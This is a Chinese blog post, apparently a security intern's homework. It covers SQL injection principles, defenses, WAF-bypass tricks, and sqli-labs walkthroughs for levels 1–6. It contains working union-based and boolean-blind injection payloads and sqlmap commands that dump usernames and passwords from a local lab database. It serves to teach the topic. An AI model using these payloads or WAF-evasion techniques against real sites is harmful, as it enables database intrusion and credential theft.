网安实习第五天作业(23)

目录

1.sql注入原理

2.SQL注入常用函数及含义

version():

database():

user():

concat():

substring():

cast():

SQL注入防御手段

严格验证输入类型

使用预编译语句

限制数据库用户权限

分离数据库服务器和 Web 服务器

SQL注入常用绕过waf(web防火墙)的方法

一、大小写混合与替换

二、编码与注释绕过

三、数据类型转换与函数利用

四、HTTP 参数污染

3.sqli-labs通关前5关

第一关

第二关

第三关

第四关

第五关

4.使用sqlmap通关第六关

5.SQLi手工注入步骤


1.sql注入原理

SQL 注入主要针对使用数据库的 Web 应用程序。当 Web 应用程序与数据库进行交互时,如果没有对用户输入的数据进行充分的验证和过滤,就可能成为 SQL 注入攻击的目标。

攻击方式:用户在与 Web 应用程序交互的输入框、URL 参数等地方输入恶意 SQL 语句,若该程序没有过滤程序,则会导致用户输入被当作数据库语句执行

2.SQL注入常用函数及含义

version()

返回当前数据库的版本信息。例如在 MySQL 中,执行 SELECT version();可以获取 MySQL 的版本号。

database()

返回当前正在使用的数据库名称。

user()

返回当前数据库连接的用户名。

concat()

将多个字符串连接成一个字符串。可以使用这个函数来拼接从数据库中获取的不同字段的值。例如 SELECT concat(username,':',password) FROM users;可以将用户名和密码连接在一起显示。

substring()

提取字符串的一部分。可以使用这个函数逐步获取长字符串中的信息。比如 SELECT substring(password,1,1) FROM users WHERE username='admin';可以获取指定用户密码的第一个字符。

cast()

将一种数据类型转换为另一种数据类型。

SQL注入防御手段

严格验证输入类型

对于用户输入的数据,应明确规定其数据类型,如整数、字符串等。如果期望输入是整数,使用编程语言提供的类型检查函数确保输入确实是一个整数。
限制其长度,避免过长的输入可能导致的缓冲区溢出或其他安全问题。过滤特殊字符
对用户输入中的特殊字符进行过滤或转义,这些特殊字符包括单引号(')、双引号(")、分号(;)、注释符号(--、/* */)等。例如在 PHP 中可以使用 mysqli_real_escape_string() 函数对输入进行转义,防止这些字符被解释为 SQL 语句的一部分。
可以建立一个允许的字符集白名单,只接受白名单中的字符,拒绝其他任何字符。

使用预编译语句

数据库会先对 SQL 语句的结构进行分析和编译,然后将用户输入作为参数传递给已编译的语句。这样可以确保用户输入被视为数据而不是 SQL 代码。

限制数据库用户权限

确保数据库用户只拥有执行其特定任务所需的最小权限。例如,一个用于读取数据的用户不应该被授予写入或删除数据的权限,更不应该被授予执行数据库管理操作的权限。

定期审查和调整数据库用户的权限,确保权限没有被过度授予。

分离数据库服务器和 Web 服务器

如果可能,将数据库服务器与 Web 服务器分离在不同的物理或虚拟服务器上,并限制它们之间的网络访问。这样即使 Web 服务器被攻击,攻击者也难以直接访问数据库服务器。

SQL注入常用绕过waf(web防火墙)的方法

一、大小写混合与替换

  1. 改变关键字大小写
    • 许多 WAF 是基于特定的关键字进行检测的,例如 “SELECT”“WHERE” 等。可以尝试将这些关键字的大小写进行混合,如 “SeLeCt”“wHeRe” 等。有些数据库在不区分大小写的情况下仍能正确解析这些语句,但 WAF 可能无法准确识别。
  2. 使用同义词或功能相似的关键字替换
    • 例如用 “UNION ALL SELECT” 进行 SQL 注入时,如果被 WAF 拦截,可以尝试用 “UNION CORRESPONDING SELECT” 等功能相似的语句进行替换。不同数据库可能支持不同的替代关键字,需要根据具体数据库类型进行尝试。

二、编码与注释绕过

  1. URL 编码
    • 将 SQL 注入语句中的关键字符进行 URL 编码,WAF 可能无法正确识别编码后的内容,但数据库在解析时会将其还原为原始字符。例如将单引号编码为 “%27”,分号编码为 “%3B” 等。
  2. Unicode 编码
    • 使用 Unicode 编码来表示特殊字符。例如,单引号可以用 “\u0027” 表示。一些 WAF 可能无法正确解析 Unicode 编码,而数据库可以正常处理。
  3. 注释绕过
    • 在 SQL 语句中插入注释来混淆关键部分,使 WAF 难以检测到注入点。例如 “SELECT//username//FROM//users WHERE id=1--”,这里的 “//” 是 SQL 中的注释符号,用来隐藏 “username” 和 “FROM” 等关键字,同时 “--” 表示注释掉后面的内容。

三、数据类型转换与函数利用

  1. 数据类型转换
    • 将注入的数据进行类型转换,使其看起来像是合法的数据类型。例如,将数字型注入转换为字符串类型,或者将字符串类型转换为日期类型等。例如 “SELECT * FROM users WHERE id=CAST ('1' AS UNSIGNED) OR '1'='1'”,这里将字符串 “1” 转换为无符号整数类型。
  2. 利用数据库函数
    • 数据库中有许多内置函数可以用来绕过 WAF。例如,使用字符串拼接函数来代替直接拼接字符串,如在 MySQL 中可以用 “CONCAT ()” 函数。“SELECT CONCAT (username,':',password) FROM users WHERE id=1”,这样即使 WAF 检测到拼接操作,也可能因为函数的使用而无法准确拦截。

四、HTTP 参数污染

  1. 重复参数
    • 在 HTTP 请求中重复发送同一个参数,WAF 可能只处理其中一个参数,而数据库可能会处理所有的参数。例如,在 URL 中同时发送两个相同的参数 “id=1&id=2' OR '1'='1”,数据库可能会对两个参数都进行处理,从而实现 SQL 注入。
  2. 不同位置的参数污染
    • 在不同的 HTTP 请求位置(如 GET 参数、POST 数据、HTTP 头)同时发送相同的参数,但每个位置的参数值略有不同,这样可以绕过一些只检测特定位置参数的 WAF。例如,在 GET 参数中发送 “id=1”,同时在 POST 数据中发送 “id=2' OR '1'='1”,数据库可能会综合处理这些参数,而 WAF 可能无法全面检测。

3.sqli-labs通关前5关

第一关

提示输入ID,则传参?id=value

发现参数带入数据库进行了查询,接下来我们判断sql语句是否是拼接,且是字符型还是数字型

可以根据结果指定是字符型且存在sql注入漏洞。因为该页面存在回显,所以我们可以使用联合查询。

首先知道表格有几列,如果报错就是超过列数,如果显示正常就是没有超出列数。

?id=1'order by 3 --+

显示正常

报错

爆出显示位,就是看看表格里面哪一列是在页面显示的。可以看到是第二列和第三列里面的数据是显示在页面的。

?id=-1'union select 1,2,3-

获取当前数据名和版本号,这个就涉及mysql数据库的一些函数,记得就行。通过结果知道当前数据看是security,版本是5.7.26

?id=-1'union select 1,database(),version()--+

 

 ?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

 爆字段名,我们通过sql语句查询知道当前数据库有四个表,根据表名知道可能用户的账户和密码是在users表中。接下来我们就是得到该表下的字段名以及内容。

 ?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

 通过上述操作可以得到两个敏感字段就是username和password,接下来我们就要得到该字段对应的内容。我自己加了一个id可以隔一下账户和密码。

?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

 

第二关

尝试:?id=1',提示sql语法错误,存在注入点

 删除单引号,页面正常显示,判断为数值型注入

获取列数:?id=1 order by 3--+3条正确回显,4条报错,则共3条属性

判断属性回显位置:?id=-1 union select 1,2,3--+

获取用户名和密码:?id=-1 union select 1,2,(select group_concat(concat(username,'用户的密码是:',password),'<br>') from users)--+

第三关

当我们在输入?id=2'的时候看到页面报错信息。可推断sql语句是单引号字符型且有括号,所以我们需要闭合单引号且也要考虑括号。

通过下面代码构建就可以进行sql注入

?id=2')--+
?id=1') order by 3--+
?id=-1') union select 1,2,3--+
?id=-1') union select 1,database(),version()--+
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1') union select 1,2,group_concat(username ,id , password) from users--+

 

第四关

和前面几关同样的思路

测试到双引号时报错,说明语句是双引号字符型,且带有括号

构件sql注入代码

?id=1") order by 3--+
?id=-1") union select 1,2,3--+
?id=-1") union select 1,database(),version()--+
?id=-1") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
?id=-1") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
?id=-1") union select 1,2,group_concat(username ,id , password) from users--+

 拿到敏感信息

第五关

和前几关一样的测试思路,在测试到?id=1' union select 1,2,3--+时,界面没有了报错回显

考虑使用布尔盲注,布尔盲注主要用到length(),ascii() ,substr()这三个函数,首先通过length()函数确定长度再通过另外两个确定具体字符是什么

?id=1' and length((select database()))=1--+

使用burpsuite抓包

选定payload

可以看出长度为8

爆破数据库名称

?id=1' and substr((select database()),1,1)='a'--+

得到数据库名称security

剩下的步骤如法炮制

id=1'and length((select group_concat(table_name) from information_schema.tables where table_schema=database()))>13--+

判断所有表名字符长度。


?id=1'and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1))>99--+
逐一判断表名
 
?id=1'and length((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users'))>20--+
判断所有字段名的长度

4.使用sqlmap通关第六关

验证注入点sqlmap -u 'http://127.0.0.1/sqli-labs/Less-6?id=1'

查看所有数据库:sqlmap -u 'http://127.0.0.1/sqli-labs/Less-6?id=1' --dbs

查看当前使用的数据库:sqlmap -u 'http://127.0.0.1/sqli-labs/Less-6?id=1' --current-db

 

查看当前数据库的所有表名:sqlmap -u 'http://127.0.0.1/sqli-labs/Less-6?id=1' -D 'security' --tables

 

查看users表的所有数据:sqlmap -u 'http://127.0.0.1/sqli-labs/Less-6?id=1' -D 'security' -T 'users' --dump

5.SQLi手工注入步骤

  1. 判断有无注入点
    • 方法:通过向应用程序的输入点(如url参数、表单输入等)输入特殊字符(如单引号'、双引号"、注释符--等),观察应用程序的响应。如果应用程序返回数据库错误消息或行为异常,则可能存在sql注入点。
    • 示例:在url后添加and 1=1and 1=2,观察页面响应是否发生变化。如果and 1=1正常显示而and 1=2导致错误或页面内容变化,则可能存在注入点。
  1. 猜解列名数量
    • 方法:使用order by语句尝试对结果进行排序,通过逐渐增加列数来观察应用程序是否报错。如果某个列数导致错误,则前一个列数即为数据库表中可能的列数。
    • 示例:在url后添加order by 1order by 2等,直到出现错误,前一个成功的数字即为列数。
  1. 通过报错方式判断回显点
    • 方法:利用数据库的错误信息来确定哪些位置可以显示注入的sql查询结果。这通常涉及构造能够触发数据库错误的sql语句,并观察错误消息中是否包含有用的信息。
    • 示例:在注入点处输入能够触发数据库错误的sql语句,如union select 1, 'test', 3 from dual(注意:dual是oracle的虚拟表,mysql中可省略),观察哪些位置显示了'test'字符串。
  1. 利用union select进行信息收集
    • 方法:在确定了列数和回显点后,使用union select语句将恶意的sql查询结果与正常的查询结果合并,从而获取数据库中的敏感信息。
    • 示例union select 1, database(), user() --+--+用于注释掉原始查询的剩余部分),以获取当前数据库名和数据库用户。
  1. 获取数据库结构信息
    • 方法:通过查询information_schema数据库中的表(如tablescolumns等),获取数据库的结构信息,包括表名、列名等。
    • 示例union select 1, table_name, 3 from information_schema.tables where table_schema = database() limit 0,1,以获取当前数据库中的第一个表名。
  1. 提取敏感数据
    • 方法:在获取了表名和列名后,使用select语句直接查询并提取敏感数据,如用户账号、密码等。
    • 示例union select 1, username, password from users limit 0,1,以获取users表中的第一条记录的用户名和密码。
GitHub是一个基于Web的代码托管平台,它提供了版本控制和协作功能,让开发者可以方便地共享和管理代码。在GitHub上,有很多与网安相关的项目,这些项目致力于保护网络安全、防止黑客攻击和提高系统的安全性。以下是一些常见的GitHub网安项目: 1. OWASP(开放式Web应用程序安全项目):OWASP是一个致力于提高Web应用程序安全性的国际组织。他们在GitHub上维护了一系列开源项目,包括安全工具、漏洞测试和安全指南等。 2. Metasploit:Metasploit是一个广泛使用的渗透测试框架,它提供了一系列工具和资源,帮助安全专家评估和增强系统的安全性。Metasploit在GitHub上有一个官方仓库,开发者可以在这里获取最新的代码和贡献自己的改进。 3. Snort:Snort是一个开源的入侵检测系统(IDS),它可以监测网络流量并检测潜在的攻击行为。Snort的代码托管在GitHub上,开发者可以参与到项目中,改进和定制自己的IDS规则。 4. Nmap:Nmap是一个网络扫描和主机发现工具,它可以帮助安全专家评估网络的安全性。Nmap的源代码也在GitHub上开放,用户可以自由地访问和贡献代码。 5. Security Shepherd:Security Shepherd是一个教育性的Web应用程序,旨在帮助开发者学习和理解常见的Web安全漏洞。它提供了一系列的挑战和实验,供用户测试和提高自己的安全技能。Security Shepherd的代码也在GitHub上开源。 这些项目只是GitHub上众多网安项目的一小部分,你可以通过在GitHub上搜索关键词来找到更多与网安相关的项目。希望这些信息对你有帮助!
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值